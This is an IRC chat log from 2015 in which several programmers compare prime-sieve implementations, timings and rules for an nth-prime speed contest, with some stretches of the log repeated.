[2015-02-25T12:33:22-0500] <+awe> Sieve of Eratosthenes.
[2015-02-25T12:37:49-0500] <JacobEdelman_> okay
[2015-02-25T12:39:35-0500] <+awe> It's the objectively best solution.
[2015-02-25T12:40:07-0500] <JacobEdelman_> ... okay, if thats what you think
[2015-02-25T12:40:15-0500] <+awe> No, it seriously is.
[2015-02-25T12:40:18-0500] <+awe> Sieve of Atkin is slower.
[2015-02-25T12:40:21-0500] <JacobEdelman_> *smirk*
[2015-02-25T12:40:23-0500] <+awe> Except at ridiculous bounds.
[2015-02-25T12:40:26-0500] <JacobEdelman_> we will see
[2015-02-25T12:40:30-0500] <JacobEdelman_> during the contest
[2015-02-25T12:40:40-0500] <JacobEdelman_> if I can beat you
[2015-02-25T12:40:41-0500] <+awe> Better people than us have done this contest.
[2015-02-25T12:40:42-0500] <JacobEdelman_> :)
[2015-02-25T12:40:47-0500] <JacobEdelman_> we shall see
[2015-02-25T12:41:30-0500] <adunna> Which one are you JE
[2015-02-25T12:41:36-0500] <adunna> ._.
[2015-02-25T12:59:48-0500] <+awe> JacobEdelman_: you realize people wrote their thesis on this subject, right?
[2015-02-25T13:05:11-0500] <+awe> JacobEdelman_: the only implementation of Atkin that's faster than the Eratosthenes is one that is not legal according to our competition rules because it relies on a ton of caching.
[2015-02-25T13:05:50-0500] <+awe> JacobEdelman_: there's obviously modifications of Eratosthenes to make it faster though. I'm going to do those.
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[2015-02-25T15:38:35-0500] <Hyper> there are also implementation things you can use to help speed things up, if you know some stuff about systems 8D
[2015-02-25T15:39:14-0500] <Hyper> the sample implementation I posted is intentionally non-optimized
[2015-02-25T15:39:31-0500] <Hyper> and by intentionally I mean that I have exams to study for so I don't have time for that.
[2015-02-25T15:40:13-0500] <+awe> lol
[2015-02-25T15:52:39-0500] <+awe> Hyper: [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]
[2015-02-25T15:52:40-0500] <+awe> Hyper: yeee
[2015-02-25T16:00:04-0500] <Hyper> awe: ?
[2015-02-25T16:00:10-0500] <+awe> first 100 primes from my sieve.
[2015-02-25T16:00:24-0500] <Hyper> yay
[2015-02-25T16:00:35-0500] <+awe> It's pretty laughable right now though.
[2015-02-25T16:00:37-0500] <Hyper> mine can generate any up to 2 << 30
[2015-02-25T16:00:39-0500] <Hyper> :)
[2015-02-25T16:00:44-0500] <Hyper> though it's kinda slow
[2015-02-25T16:00:50-0500] <+awe> 1m6s to get the last prime that can fit into u32.
[2015-02-25T16:00:56-0500] <+awe> well, wait, you said user time, right?
[2015-02-25T16:00:58-0500] <+awe> so, 59s.
[2015-02-25T16:01:05-0500] <Hyper> i'm kinda split on that
[2015-02-25T16:01:29-0500] <Hyper> because if you only count user time you can basically ignore thread sleeping stuff
[2015-02-25T16:01:33-0500] <Hyper> might be ok... hrm
[2015-02-25T16:01:49-0500] <+awe> Either way, you get the idea.
[2015-02-25T16:01:58-0500] <+awe> But I don't do any wheel factorization right now.
[2015-02-25T16:02:01-0500] <+awe> So, it's teh suck. :D
[2015-02-25T16:02:05-0500] <Hyper> awe: have you done any optimization yet?
[2015-02-25T16:02:14-0500] <+awe> A simple naive one.
[2015-02-25T16:02:16-0500] <Hyper> how big is the sieve going up to?
[2015-02-25T16:02:24-0500] <+awe> that was a full sieve.
[2015-02-25T16:02:27-0500] <Hyper> ah ok
[2015-02-25T16:02:27-0500] <+awe> for the full range of numbers.
[2015-02-25T16:02:30-0500] <Hyper> mmm
[2015-02-25T16:02:35-0500] <Hyper> pretty good
[2015-02-25T16:02:37-0500] <+awe> ~ 512 MB of RAM.
[2015-02-25T16:02:41-0500] <Hyper> faster than mine I think
[2015-02-25T16:02:42-0500] <+awe> :)
[2015-02-25T16:03:16-0500] <Hyper> again, no optimization yet
[2015-02-25T16:03:27-0500] <Hyper> I hope somebody does shit with SIMD :D
[2015-02-25T16:03:33-0500] <Hyper> that'd be sexy
[2015-02-25T16:03:42-0500] <Hyper> no idea how it works
[2015-02-25T16:03:47-0500] <Hyper> how it would work*
[2015-02-25T16:04:04-0500] <+awe> I'm not trying to do anything too flashy.
[2015-02-25T16:04:07-0500] <+awe> Just writing Rust code.
[2015-02-25T16:04:23-0500] <+awe> Not sure if I should parallelize this or not.
[2015-02-25T16:04:39-0500] <+awe> Once I do a segmented sieve, it's an obvious candidate for parallelization.
[2015-02-25T16:04:44-0500] <+awe> I think?
[2015-02-25T16:04:50-0500] <Hyper> yeah
[2015-02-25T16:05:27-0500] <Hyper> some serious optimizations you could do are segmenting on page size and maybe even segmenting on cache line size?
[2015-02-25T16:05:35-0500] <+awe> The latter.
[2015-02-25T16:05:45-0500] <+awe> Gotta stay in that L1 cache, doe.
[2015-02-25T16:06:01-0500] <Hyper> do threads get individual caches? I don't think so...
[2015-02-25T16:06:13-0500] <+awe> Depends on the machine.
[2015-02-25T16:06:21-0500] <Hyper> mmm
[2015-02-25T16:06:29-0500] <+awe> AMD processors have an individual L1 cache per core.
[2015-02-25T16:06:44-0500] <+awe> Whereas I think Intel have them per pairs?
[2015-02-25T16:06:46-0500] <+awe> Or something.
[2015-02-25T16:06:48-0500] <+awe> I forget.
[2015-02-25T16:06:51-0500] <Hyper> huh
[2015-02-25T16:06:53-0500] <Hyper> funky
[2015-02-25T16:07:09-0500] <+awe> Or maybe they do something different with L2 caches.
[2015-02-25T16:07:18-0500] <+awe> I just remember that AMD processors are significantly better at parallel processing.
[2015-02-25T16:07:27-0500] <+awe> And it has to do with caching.
[2015-02-25T16:07:43-0500] <Hyper> hehe
[2015-02-25T16:08:13-0500] <+awe> Will we have some opportunity to tune for the hardware?
[2015-02-25T16:08:19-0500] <+awe> Or will I just have to go run on my own DO box.
[2015-02-25T16:08:29-0500] <+awe> Because getting the right size might be hard.
[2015-02-25T16:08:55-0500] <Hyper> you have to run on your own DO box
[2015-02-25T16:08:55-0500] <+awe> But so far so good.
[2015-02-25T16:09:00-0500] <+awe> Ok, that's fine.
[2015-02-25T16:09:10-0500] <Hyper> they're similar enough that you won't get much difference
[2015-02-25T16:09:17-0500] <+awe> Yeah, that's probably true.
[2015-02-25T16:09:32-0500] <+awe> One thing I will say about Python.
[2015-02-25T16:09:49-0500] <+awe> For something I don't know how to implement, I'd rather someone toss me a Python implementation than a Lisp one.
[2015-02-25T16:10:07-0500] <+awe> With the footnote: assuming that my goal is to implement it in an imperative language.
[2015-02-25T16:10:28-0500] <Hyper> awe: wait what did you say?
[2015-02-25T16:10:29-0500] <Hyper> I got
[2015-02-25T16:10:33-0500] <Hyper> [16:09:31]  <+awe>	One thing I will say about Python.
[2015-02-25T16:10:39-0500] <Hyper> and then [16:10:06]  <+awe>	With the footnote: assuming that my goal is to implement it in an imperative language.
[2015-02-25T16:10:43-0500] <+awe> [16:09:49]  <+awe>	For something I don't know how to implement, I'd rather someone toss me a Python implementation than a Lisp one.
[2015-02-25T16:10:50-0500] <Hyper> ah
[2015-02-25T16:11:04-0500] <Hyper> for some reason the internet in various places in poly is spotty as heck
[2015-02-25T16:11:15-0500] <Hyper> :(
[2015-02-25T16:11:17-0500] <+awe> Because networks at scale. :p
[2015-02-25T16:11:21-0500] <+awe> Happens here, too.
[2015-02-25T16:11:42-0500] <Hyper> it's just annoying because I'm trying to do work and occasionally just lose internet
[2015-02-25T16:12:07-0500] <Hyper> also I'm thinking of writing a D implementation that generates a lookup table of primes at compile time for fun :)
[2015-02-25T16:12:11-0500] <+awe> Lol.
[2015-02-25T16:12:15-0500] <+awe> That'd be neat.
[2015-02-25T16:12:21-0500] <Hyper> it's not even hard
[2015-02-25T16:12:28-0500] <+awe> Hyper: so, uhh, rule clarification: is doing wheel factorization illegal?
[2015-02-25T16:12:30-0500] <+awe> please say no
[2015-02-25T16:12:38-0500] <Hyper> is there a reason it would be?
[2015-02-25T16:12:45-0500] <+awe> Wheels might be hardcoded.
[2015-02-25T16:13:34-0500] <Hyper> it's illegal if it's hardcoded.
[2015-02-25T16:14:20-0500] <Hyper> if there is a significant amount of work towards finding primes happening before runtime, it is illegal
[2015-02-25T16:17:01-0500] <Hyper> if the hardcoding is putting in like the constants 2 and 3 and at runtime expanding from that, that's probably fine
[2015-02-25T16:18:36-0500] <+awe> wheel2357 = 2:4:2:4:6:2:6:4:2:4:6:6:2:6:4:2:6:4:6:8:4:2:4:2:4:8
[2015-02-25T16:18:36-0500] <+awe> :6:4:6:2:4:6:2:6:6:4:2:4:6:2:6:4:2:4:2:10:2:10:wheel2357
[2015-02-25T16:18:40-0500] <+awe> So, that would be illegal?
[2015-02-25T16:18:57-0500] <Hyper> that's a bit much
[2015-02-25T16:20:00-0500] <Hyper> awe: I'll let you know later, I need to think
[2015-02-25T16:20:04-0500] <+awe> Ok.
[2015-02-25T16:50:17-0500] <+awe> Hyper: ok, segmented sieving is a thing.
[2015-02-25T16:50:28-0500] <+awe> It's pretty gnarly, but it's a thing.
[2015-02-25T16:56:16-0500] <+awe> Nevermind. It's definitely wrong.
[2015-02-25T16:57:18-0500] <+awe> or maybe not?
[2015-02-25T16:57:20-0500] <+awe> Iunno.
[2015-02-25T16:57:54-0500] <+awe> No, it's wrong.
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[2015-02-25T17:20:21-0500] <Hyper> lol
[2015-02-25T17:21:26-0500] <+awe> Hyper: I shaved off ~10s through operator optimization.
[2015-02-25T17:21:38-0500] <Hyper> awe: operator optimization?
[2015-02-25T17:21:44-0500] <Hyper> just using better operators?
[2015-02-25T17:21:45-0500] <Hyper> lol
[2015-02-25T17:21:49-0500] <+awe>  / 32 == >> 5
[2015-02-25T17:21:58-0500] <+awe> % 32 == & 31
[2015-02-25T17:22:11-0500] <Hyper> awe: if your compiler isn't doing that for you something is wrong.
[2015-02-25T17:22:30-0500] <+awe> I don't think any compiler does that.
[2015-02-25T17:23:45-0500] <Hyper> If I found a (modern) C compiler that didn't at least do the bitshift optimization I'd be amazed
[2015-02-25T17:24:20-0500] <+awe> The division one may be done.
[2015-02-25T17:24:38-0500] <Hyper> like I'd def. recommend hand optimizing here
[2015-02-25T17:24:45-0500] <+awe> % 32 to & 31 is only a safe optimization on unsigned numbers and I don't know if compilers do that.
[2015-02-25T17:25:18-0500] <Hyper> I'd bet llvm has at least a pass to optimize various arithmetic operations lol
[2015-02-25T17:25:22-0500] <Hyper> and those are probably in there
[2015-02-25T17:25:29-0500] <+awe> Maybe.
[2015-02-25T17:25:45-0500] <+awe> It'd be reasonable, but it went from 1m2s to 54s.
[2015-02-25T17:25:55-0500] <Hyper> can't argue with results!
[2015-02-25T17:25:55-0500] <+awe> Which I think is significant enough to not just be variation.
[2015-02-25T17:26:50-0500] <Hyper> awe: can you have an array into uninitialized memory in rust?
[2015-02-25T17:27:07-0500] <+awe> Yes.
[2015-02-25T17:27:13-0500] <Hyper> ah cool
[2015-02-25T17:27:15-0500] <+awe> Well, sort of.
[2015-02-25T17:27:24-0500] <+awe> I mean, you can do it C-style with a C pointer.
[2015-02-25T17:27:39-0500] <+awe> Or you can unsafely make a Vec from uninitialized memory, too.
[2015-02-25T17:28:00-0500] <Hyper> cool
[2015-02-25T17:30:22-0500] <Hyper> so my CS test today had a question that was titled "Fix the following code"
[2015-02-25T17:30:34-0500] <Hyper> I went super hard-mode on it and optimized the entire function
[2015-02-25T17:30:56-0500] <+awe> Lol.
[2015-02-25T17:32:02-0500] <Hyper> I think we were just supposed to add a check for div by 0 at the end
[2015-02-25T17:32:15-0500] <Hyper> but I *really* fixed it
[2015-02-25T17:32:47-0500] <+awe> Hyper: oh, the change also could've come from initialization changes.
[2015-02-25T17:33:08-0500] <Hyper> awe: did you switch to uninitialized memory?
[2015-02-25T17:33:12-0500] <+awe> N.
[2015-02-25T17:33:16-0500] <Hyper> oh
[2015-02-25T17:33:40-0500] <+awe> Switched from runtime initialization of a block of 1s to static initialization, I think.
[2015-02-25T17:33:45-0500] <+awe> Or maybe it just doesn't do bounds checks.
[2015-02-25T17:33:46-0500] <+awe> Unsure.
[2015-02-25T17:33:54-0500] <Hyper> huh
[2015-02-25T17:34:01-0500] <+awe> I don't know what the vec! macro expands to. :)
[2015-02-25T17:34:09-0500] <+awe> vec![0xFFFFFFFF; size]
[2015-02-25T17:34:18-0500] <+awe> Probably creates an array and converts it to a vec.
[2015-02-25T17:34:27-0500] <Hyper> lol
[2015-02-25T17:34:46-0500] <+awe> whatever it is, it's faster than making a vec with capacity size and then adding size 0xFFFFFFFFFs to it.
[2015-02-25T17:35:09-0500] <Hyper> fo' sho'
[2015-02-25T18:00:52-0500] <Fill> awe: have you noticed that the travis CI build is failing?
[2015-02-25T18:00:55-0500] <+awe> Yes.
[2015-02-25T18:00:57-0500] <Fill> it breaks on cargo doc
[2015-02-25T18:00:58-0500] <Fill> thread '<unknown>' has overflowed its stack
[2015-02-25T18:00:59-0500] <+awe> It's a bug in rustdoc.
[2015-02-25T18:01:00-0500] <+awe> Yup.
[2015-02-25T18:01:01-0500] <Fill> lol
[2015-02-25T18:01:02-0500] <+awe> I already filed an issue.
[2015-02-25T18:09:13-0500] <Fill> awe: "So, as @retep998 pointed out to me on IRC, there's no way to actually construct such a Command." <--- I *think* this has something to do with the fact that Command would hold references to Message fields, which are part of the same struct and there's some kind of chicken-and-egg problem?
[2015-02-25T18:09:48-0500] <+awe> CommandDetail would reference Message, yes.
[2015-02-25T18:09:54-0500] <+awe> There's unfortunately no named lifetime 'self.
[2015-02-25T18:09:58-0500] <Fill> right
[2015-02-25T18:11:04-0500] <Fill> hmm
[2015-02-25T18:18:27-0500] <+awe> If there was, it'd be trivial to make.
[2015-02-25T18:18:34-0500] <+awe> Since, it'd just be Command<'self>
[2015-02-25T18:24:09-0500] <JacobEdelman_> awe: how long does it take you to get the 2**30th prime number?
[2015-02-25T18:24:55-0500] <+awe> JacobEdelman_: just under 12s with no optimizations
[2015-02-25T18:25:10-0500] <+awe> Well, with unoptimized code, rather.
[2015-02-25T18:29:29-0500] <JacobEdelman_> (I ran my program just after I said that)
[2015-02-25T18:29:45-0500] <JacobEdelman_> (except I told it to output all the primes less than 2**30th instead accidentally)
[2015-02-25T18:29:50-0500] <JacobEdelman_> hence my computer crashing
[2015-02-25T18:39:53-0500] <JacobEdelman_> I gots a phone!
[2015-02-25T18:43:57-0500] <+awe> JacobEdelman_: I'm curious as to your time currently?
[2015-02-25T18:44:59-0500] <JacobEdelman_> Had big mistake
[2015-02-25T18:45:06-0500] <JacobEdelman_> Must eat now
[2015-02-25T18:45:11-0500] <JacobEdelman_> Gtg
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[2015-02-25T19:50:06-0500] <Hyper> JacobEdelman_: but seriously how fast is your code so far?
[2015-02-25T19:50:15-0500] <JacobEdelman_> not fast
[2015-02-25T19:50:18-0500] <JacobEdelman_> it'll take quiet a while
[2015-02-25T19:50:20-0500] <JacobEdelman_> cause I wrote
[2015-02-25T19:50:22-0500] <JacobEdelman_> it in python
[2015-02-25T19:50:24-0500] <JacobEdelman_> and plan
[2015-02-25T19:50:28-0500] <JacobEdelman_> on converting to nim
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[2015-02-25T20:37:35-0500] <grantwu> AMD processors aren't necessarily better at parallel.  But they have more integer cores.
[2015-02-25T20:40:12-0500] <JacobEdelman_> you know you have recursion when 5.9% of your runtime comes from an if statement of a boolean variable
[2015-02-25T20:41:35-0500] <hardmath123> Hyper: can't we cheat unix's `time` by creating a subprocess?
[2015-02-25T20:42:53-0500] <hardmath123> Also, I think I'm in a "git push -f" war with someone :P
[2015-02-25T20:48:48-0500] <Hyper> hardmath123: yes, and if you do i'll disqualify you for attempted circumvention of rules :)
[2015-02-25T20:49:53-0500] <Hyper> (in other words: pls no)
[2015-02-25T20:50:14-0500] <hardmath123> :(
[2015-02-25T20:50:28-0500] <hardmath123> Being obnoxiously clever should be allowed.
[2015-02-25T20:50:39-0500] <Hyper> This is why I was considering changing it to total time used
[2015-02-25T20:51:25-0500] <Hyper> hardmath123: I want this to be a competition about generating the nth prime as fast as possible, not finding a way around the specifics of the competition
[2015-02-25T20:51:50-0500] <hardmath123> Fair enough/
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[2015-02-25T21:39:46-0500] <+awe> JacobEdelman_: So, basically, what you're saying is 2^32th prime doesn't compute in any reasonable length of time
[2015-02-25T21:43:18-0500] <Hyper> that's ok because we're not computing the 2^32nd prime :)
[2015-02-25T21:43:57-0500] <+awe> Hyper: isn't that the max one in the range?
[2015-02-25T21:44:21-0500] <Hyper> that's the upper bound for the value of the *prime*
[2015-02-25T21:44:27-0500] <Hyper> not for the value of n
[2015-02-25T21:45:06-0500] <Hyper> basically I'm saying the highest prime I'm asking for will have a value <= about 4 billion or so
[2015-02-25T21:46:21-0500] <Hyper> btw my new solution is at 1.51s for the 1 millionth prime on my computer
[2015-02-25T21:49:19-0500] <Hyper> oh I meant 4 trillion as the upper bound btw
[2015-02-25T21:49:27-0500] <Hyper> missed a few orders of magnitude :)
[2015-02-25T21:50:54-0500] <Hyper> basically i'm promising that all your things can fit into an unsigned long.
[2015-02-25T21:52:47-0500] <+awe> wait, what?
[2015-02-25T21:52:55-0500] <+awe> What's the max input?
[2015-02-25T21:53:00-0500] <+awe> I don't care about the output.
[2015-02-25T21:53:21-0500] <+awe> Hyper: what's the upper bound on input?
[2015-02-25T21:53:36-0500] <Hyper> 203000000 or so
[2015-02-25T21:53:43-0500] <+awe> o, ok.
[2015-02-25T21:53:45-0500] <Hyper> http://primes.utm.edu/nthprime/index.php#piofx
[2015-02-25T21:53:56-0500] <+awe> 1.51s for the millionth prime?
[2015-02-25T21:53:58-0500] <+awe> That's pretty bad.
[2015-02-25T21:54:09-0500] <+awe> 0.007s
[2015-02-25T21:54:10-0500] <Hyper> I haven't optimized at all :)
[2015-02-25T21:54:13-0500] <+awe> Mine is 0.007s.
[2015-02-25T21:54:34-0500] <Hyper> and mine is just a sieve of erathothenes, with a naive optimization or two
[2015-02-25T21:55:02-0500] <+awe> Same?
[2015-02-25T21:55:14-0500] <Hyper> huh
[2015-02-25T21:55:32-0500] <+awe> Wait a minute.
[2015-02-25T21:55:34-0500] <+awe> I'm stupid.
[2015-02-25T21:55:40-0500] <+alokpathy> Oh, there's a faster sieve.
[2015-02-25T21:55:42-0500] <+alokpathy> Sieve of Atkin
[2015-02-25T21:55:44-0500] <+awe> alokpathy: false.
[2015-02-25T21:55:47-0500] <+awe> alokpathy: I already looked this up.
[2015-02-25T21:55:51-0500] <+awe> I explained this a few times here already.
[2015-02-25T21:55:53-0500] <+awe> It's not actually faster.
[2015-02-25T21:56:02-0500] <+alokpathy> Wait how?
[2015-02-25T21:56:09-0500] <+awe> Hyper: I'm not doing nth prime, I'm doing largest prime under n.
[2015-02-25T21:56:27-0500] <Hyper> awe: well that's not the right solution :)
[2015-02-25T21:56:46-0500] <+awe> I know, lol.
[2015-02-25T21:56:50-0500] <+awe> It's not a huge change though.
[2015-02-25T21:57:11-0500] <+alokpathy> awe: Oh, I see
[2015-02-25T21:57:18-0500] <+awe> alokpathy: The only implementation of it that was faster involves giant precomputed tables of squares.
[2015-02-25T21:57:25-0500] <+awe> alokpathy: That's not legal in our competition.
[2015-02-25T21:57:41-0500] <+alokpathy> That's not?
[2015-02-25T21:57:43-0500] <Hyper> awe: i'm on .09s for the largets prime under 1M
[2015-02-25T21:57:43-0500] <+alokpathy> Darn.
[2015-02-25T21:58:07-0500] <+awe> alokpathy: and a properly wheel factorized Sieve of Eratosthenes will outperform other implementations until like 10^18 or something.
[2015-02-25T21:58:10-0500] <Hyper> so you're beating me by a good order of magnitude :)
[2015-02-25T21:59:10-0500] <+awe> I'm confused about doing nth prime though.
[2015-02-25T21:59:31-0500] <+alokpathy> I see.
[2015-02-25T21:59:36-0500] <+awe> Do you literally just keep going until your list of primes is length n?
[2015-02-25T21:59:45-0500] <+awe> alokpathy: Yeah, Sieve of Atkin isn't worth the bother.
[2015-02-25T22:00:59-0500] <Hyper> time reports .01s on my version with compiler optimizations on
[2015-02-25T22:02:03-0500] <+awe> Hyper: 999983, right?
[2015-02-25T22:02:08-0500] <Hyper> yeah
[2015-02-25T22:03:14-0500] <+awe> Hmm, if I add some division by two
[2015-02-25T22:03:17-0500] <+awe> I can cut the memory usage in half.
[2015-02-25T22:03:19-0500] <+awe> But slow.
[2015-02-25T22:03:29-0500] <Hyper> >> 1 is 1 cycle :)
[2015-02-25T22:03:40-0500] <+awe> But unless I hit memory bounds, I don't care. :)
[2015-02-25T22:03:59-0500] <Hyper> you're probably hitting cache line bounds :)
[2015-02-25T22:04:04-0500] <Hyper> you'll halve that :)
[2015-02-25T22:04:16-0500] <JacobEdelman_> awe: I will fix mine
[2015-02-25T22:04:21-0500] <+awe> I'll try that.
[2015-02-25T22:04:23-0500] <JacobEdelman_> also what do you get for the 2**32nd prime?
[2015-02-25T22:04:32-0500] <+awe> JacobEdelman_: I'm not calculating that
[2015-02-25T22:04:35-0500] <+awe> JacobEdelman: I realized it was uhh
[2015-02-25T22:04:42-0500] <JacobEdelman_> ahhh, I thought so
[2015-02-25T22:04:45-0500] <+awe> largest prime under n.
[2015-02-25T22:04:59-0500] <JacobEdelman_> yeah... that I can do reasonably fast
[2015-02-25T22:05:01-0500] <+awe> I don't think calculating the 2**30th prime is reasonable at all.
[2015-02-25T22:05:06-0500] <JacobEdelman_> it is
[2015-02-25T22:05:09-0500] <JacobEdelman_> I can do that
[2015-02-25T22:05:17-0500] <+awe> The 1 billionth prime?
[2015-02-25T22:05:18-0500] <+awe> In how long?
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[2015-02-25T22:20:07-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T22:03:19-0500] <+awe> But slow.
[2015-02-25T22:03:28-0500] <Hyper> >> 1 is 1 cycle :)
[2015-02-25T22:03:40-0500] <+awe> But unless I hit memory bounds, I don't care. :)
[2015-02-25T22:03:59-0500] <Hyper> you're probably hitting cache line bounds :)
[2015-02-25T22:04:04-0500] <Hyper> you'll halve that :)
[2015-02-25T22:04:16-0500] <JacobEdelman_> awe: I will fix mine
[2015-02-25T22:04:21-0500] <+awe> I'll try that.
[2015-02-25T22:04:23-0500] <JacobEdelman_> also what do you get for the 2**32nd prime?
[2015-02-25T22:04:32-0500] <+awe> JacobEdelman_: I'm not calculating that
[2015-02-25T22:04:35-0500] <+awe> JacobEdelman: I realized it was uhh
[2015-02-25T22:04:42-0500] <JacobEdelman_> ahhh, I thought so
[2015-02-25T22:04:45-0500] <+awe> largest prime under n.
[2015-02-25T22:04:59-0500] <JacobEdelman_> yeah... that I can do reasonably fast
[2015-02-25T22:05:01-0500] <+awe> I don't think calculating the 2**30th prime is reasonable at all.
[2015-02-25T22:05:06-0500] <JacobEdelman_> it is
[2015-02-25T22:05:09-0500] <JacobEdelman_> I can do that
[2015-02-25T22:05:17-0500] <+awe> The 1 billionth prime?
[2015-02-25T22:05:18-0500] <+awe> In how long?
[2015-02-25T22:06:41-0500] <+alokpathy> I got it in a second :3
[2015-02-25T22:06:43-0500] <+alokpathy> My algo was
[2015-02-25T22:06:45-0500] <+alokpathy> WA
[2015-02-25T22:07:05-0500] <JacobEdelman_> awe: timing it now
[2015-02-25T22:07:07-0500] <JacobEdelman_> keep in mind
[2015-02-25T22:07:12-0500] <JacobEdelman_> this is my slow python implementation
[2015-02-25T22:07:15-0500] <JacobEdelman_> so ti will take a bit
[2015-02-25T22:07:21-0500] <JacobEdelman_> but I think it will work
[2015-02-25T22:07:23-0500] <JacobEdelman_> I hope
[2015-02-25T22:07:55-0500] <JacobEdelman_> oh wait
[2015-02-25T22:08:19-0500] <JacobEdelman_> part of it is not working, but that part takes very little time
[2015-02-25T22:08:30-0500] <JacobEdelman_> (like 0.1 sec even at 2**30)
[2015-02-25T22:08:34-0500] <JacobEdelman_> so it doesn't matter
[2015-02-25T22:08:39-0500] <JacobEdelman_> I'll just care about the rest
[2015-02-25T22:09:38-0500] <Hyper> awe: .23s for 1Mth with compiler optimizations on :)
[2015-02-25T22:10:37-0500] <Hyper> <3 llvm
[2015-02-25T22:11:44-0500] <assface> >tfw your program should work perfectly but doesn't
[2015-02-25T22:12:02-0500] <Hyper> assface: are you competing? :D
[2015-02-25T22:12:15-0500] <Hyper> or just complaining :(
[2015-02-25T22:13:58-0500] <assface> Hyper: yes
[2015-02-25T22:14:05-0500] <Hyper> :D
[2015-02-25T22:14:35-0500] <Hyper> 105.72s for the 100Mth prime, for anyone keeping score at home
[2015-02-25T22:15:06-0500] <+alokpathy> Who's doing BkP?
[2015-02-25T22:15:33-0500] <ubuntor> bkp!
[2015-02-25T22:16:08-0500] <+alokpathy> Yes :P
[2015-02-25T22:16:11-0500] <Hyper> BkP?
[2015-02-25T22:16:16-0500] <ubuntor> boston key party
[2015-02-25T22:16:19-0500] <adunna> ^
[2015-02-25T22:16:21-0500] <ubuntor> it's a great ctf
[2015-02-25T22:16:25-0500] <Hyper> ah ok
[2015-02-25T22:16:37-0500] <ubuntor> the problem interface looks intriguing
[2015-02-25T22:16:47-0500] <+alokpathy> Lol I guess.
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[2015-02-25T22:04:45-0500] <+awe> largest prime under n.
[2015-02-25T22:04:59-0500] <JacobEdelman_> yeah... that I can do reasonably fast
[2015-02-25T22:05:01-0500] <+awe> I don't think calculating the 2**30th prime is reasonable at all.
[2015-02-25T22:05:06-0500] <JacobEdelman_> it is
[2015-02-25T22:05:09-0500] <JacobEdelman_> I can do that
[2015-02-25T22:05:17-0500] <+awe> The 1 billionth prime?
[2015-02-25T22:05:18-0500] <+awe> In how long?
[2015-02-25T22:06:41-0500] <+alokpathy> I got it in a second :3
[2015-02-25T22:06:43-0500] <+alokpathy> My algo was
[2015-02-25T22:06:45-0500] <+alokpathy> WA
[2015-02-25T22:07:05-0500] <JacobEdelman_> awe: timing it now
[2015-02-25T22:07:07-0500] <JacobEdelman_> keep in mind
[2015-02-25T22:07:12-0500] <JacobEdelman_> this is my slow python implementation
[2015-02-25T22:07:15-0500] <JacobEdelman_> so ti will take a bit
[2015-02-25T22:07:21-0500] <JacobEdelman_> but I think it will work
[2015-02-25T22:07:23-0500] <JacobEdelman_> I hope
[2015-02-25T22:07:55-0500] <JacobEdelman_> oh wait
[2015-02-25T22:08:19-0500] <JacobEdelman_> part of it is not working, but that part takes very little time
[2015-02-25T22:08:30-0500] <JacobEdelman_> (like 0.1 sec even at 2**30)
[2015-02-25T22:08:34-0500] <JacobEdelman_> so it doesn't matter
[2015-02-25T22:08:39-0500] <JacobEdelman_> I'll just care about the rest
[2015-02-25T22:09:38-0500] <Hyper> awe: .23s for 1Mth with compiler optimizations on :)
[2015-02-25T22:10:37-0500] <Hyper> <3 llvm
[2015-02-25T22:11:44-0500] <assface> >tfw your program should work perfectly but doesn't
[2015-02-25T22:12:02-0500] <Hyper> assface: are you competing? :D
[2015-02-25T22:12:15-0500] <Hyper> or just complaining :(
[2015-02-25T22:13:58-0500] <assface> Hyper: yes
[2015-02-25T22:14:05-0500] <Hyper> :D
[2015-02-25T22:14:35-0500] <Hyper> 105.72s for the 100Mth prime, for anyone keeping score at home
[2015-02-25T22:15:06-0500] <+alokpathy> Who's doing BkP?
[2015-02-25T22:15:33-0500] <ubuntor> bkp!
[2015-02-25T22:16:08-0500] <+alokpathy> Yes :P
[2015-02-25T22:16:11-0500] <Hyper> BkP?
[2015-02-25T22:16:16-0500] <ubuntor> boston key party
[2015-02-25T22:16:19-0500] <adunna> ^
[2015-02-25T22:16:21-0500] <ubuntor> it's a great ctf
[2015-02-25T22:16:25-0500] <Hyper> ah ok
[2015-02-25T22:16:37-0500] <ubuntor> the problem interface looks intriguing
[2015-02-25T22:16:47-0500] <+alokpathy> Lol I guess.
[2015-02-25T22:20:43-0500] <JacobEdelman_> 188.45 seconds
[2015-02-25T22:20:45-0500] <JacobEdelman_> about
[2015-02-25T22:20:47-0500] <JacobEdelman_> maybe more
[2015-02-25T22:20:52-0500] <JacobEdelman_> for the 2**32th prime
[2015-02-25T22:20:58-0500] <JacobEdelman_> note this is before any optimization
[2015-02-25T22:20:59-0500] <JacobEdelman_> in python
[2015-02-25T22:21:01-0500] <JacobEdelman_> which means
[2015-02-25T22:21:06-0500] <JacobEdelman_> I destroy both you and hyper
[2015-02-25T22:21:07-0500] <JacobEdelman_> so far
[2015-02-25T22:21:09-0500] <JacobEdelman_> :)
[2015-02-25T22:21:11-0500] <JacobEdelman_> in python
[2015-02-25T22:21:15-0500] Mode is +nt
[2015-02-25T22:21:16-0500] <JacobEdelman_> wanna know how I do it?
[2015-02-25T22:21:23-0500] <+awe> What?
[2015-02-25T22:21:27-0500] <+awe> That doesn't mean you destroy us all.
[2015-02-25T22:21:38-0500] <+awe> What is the 2^32th prime anyway?
[2015-02-25T22:21:42-0500] <+awe> Is it less than 2^32?
[2015-02-25T22:21:49-0500] <Hyper> awe: wat
[2015-02-25T22:21:55-0500] <+awe> It's definitely not.
[2015-02-25T22:22:02-0500] <+awe> So, it's not one we need to calculate.
[2015-02-25T22:22:12-0500] <+awe> JacobEdelman_: but yes, enlighten us as to what you're doing.
[2015-02-25T22:22:13-0500] <Hyper> that would require more primes between 0 and 2^32 than there are numbers in that range :P
[2015-02-25T22:22:18-0500] <+awe> Hyper: I know :p
[2015-02-25T22:22:24-0500] <+awe> Hyper: my point is it's way out of range.
[2015-02-25T22:22:42-0500] <JacobEdelman_> so
[2015-02-25T22:22:51-0500] <JacobEdelman_> you can calculate the number of primes below n
[2015-02-25T22:22:56-0500] <JacobEdelman_> in n^(2/3) time
[2015-02-25T22:22:58-0500] <JacobEdelman_> so you guess
[2015-02-25T22:23:07-0500] <JacobEdelman_> at the nth prime with a lower bound
[2015-02-25T22:23:17-0500] <JacobEdelman_> figure out how many primes are below that
[2015-02-25T22:23:27-0500] <JacobEdelman_> and sieve until you get to the nth prime from there
[2015-02-25T22:23:35-0500] <JacobEdelman_> it takes O(n^(2/3)) time
